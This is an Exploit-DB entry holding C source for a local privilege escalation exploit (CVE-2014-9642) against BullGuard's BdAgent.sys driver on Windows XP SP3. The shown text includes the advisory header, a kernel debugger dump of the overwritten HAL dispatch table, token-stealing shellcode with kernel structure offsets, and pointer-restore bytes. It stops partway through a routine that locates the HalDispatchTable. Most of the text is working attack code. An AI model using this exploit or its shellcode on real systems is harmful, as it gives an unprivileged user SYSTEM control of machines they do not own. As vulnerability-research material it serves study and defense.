Exploit-DB #35994
Description: BullGuard (Multiple Products) - Arbitrary Write Privilege Escalation
Type: local
Platform: windows
Date: 2015-02-04
Author: Parvez Anwar

Exploit:
/*

Exploit Title    - BullGuard Multiple Products Arbitrary Write Privilege Escalation
Date             - 04th February 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.bullguard.com/
Tested Version   - 14.1.285.4
Driver Version   - 1.0.0.6 - BdAgent.sys
Tested on OS     - 32bit Windows XP SP3 
OSVDB            - http://www.osvdb.org/show/osvdb/114478
CVE ID           - CVE-2014-9642
Vendor fix url   - http://www.bullguard.com/about/release-notes.aspx
Fixed Version    - 15.0.288.1
Fixed driver ver - 1.0.0.7



Note
----
Overwritten HAL dispatch table after exploit 

kd> dps nt!HalDispatchTable l c
8054ccb8  00000003
8054ccbc  00340000
8054ccc0  00010000
8054ccc4  0a060002
8054ccc8  ee657645
8054cccc  00000001
8054ccd0  00000001
8054ccd4  867c1bf0
8054ccd8  80613f7b nt!IoSetPartitionInformation
8054ccdc  806141ef nt!IoWritePartitionTable
8054cce0  8052d157 nt!CcHasInactiveViews
8054cce4  804e42d1 nt!ObpTraceDepth+0x19

7 pointers get overwritten. Since input buffer is in our control and pointers
are static in XP I've triggered the overwrite again restoring the pointers.

*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE 4096


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);

typedef void (*FUNCTPTR)(); 



// Windows XP SP3

#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,	                                                 // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8                          Away from the kernel   
};



BYTE restore_pointers_xp[] =  // kd> dps nt!HalDispatchTable
"\xf2\xa3\x6f\x80"            // 8054ccbc  806fa3f2 hal!HaliQuerySystemInformation
"\xce\xa3\x6f\x80"            // 8054ccc0  806fa3ce hal!HaliSetSystemInformation
"\x0b\x46\x61\x80"            // 8054ccc4  8061460b nt!xHalQueryBusSlots
"\x00\x00\x00\x00"            // 8054ccc8  00000000
"\x4d\xac\x50\x80"            // 8054cccc  8050ac4d nt!HalExamineMBR
"\x89\x6f\x5c\x80"            // 8054ccd0  805c6f89 nt!IoAssignDriveLetters
"\xe5\x4a\x5c\x80";           // 8054ccd4  805c4ae5 nt!IoReadPartitionTable



DWORD HalDispatchTableAddress() 
{
    _NtQuerySystemInformation    NtQuerySystemInformation;
    PSYSTEM_MODULE_INFORMATION   pModuleInfo;
    DWORD                        HalDispatchTable;
    CHAR                         kFullName[256];
    PVOID                        kBase = NULL;
    LPSTR                        kName;
    HMODULE                      Kernel;
    FUNCTPTR                     Hal;
    ULONG                        len;
    NTSTATUS                     status;


    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
 	
    if (!NtQuerySystemInformation)
    {
        printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
        return -1;  
    }

    status = NtQuerySystem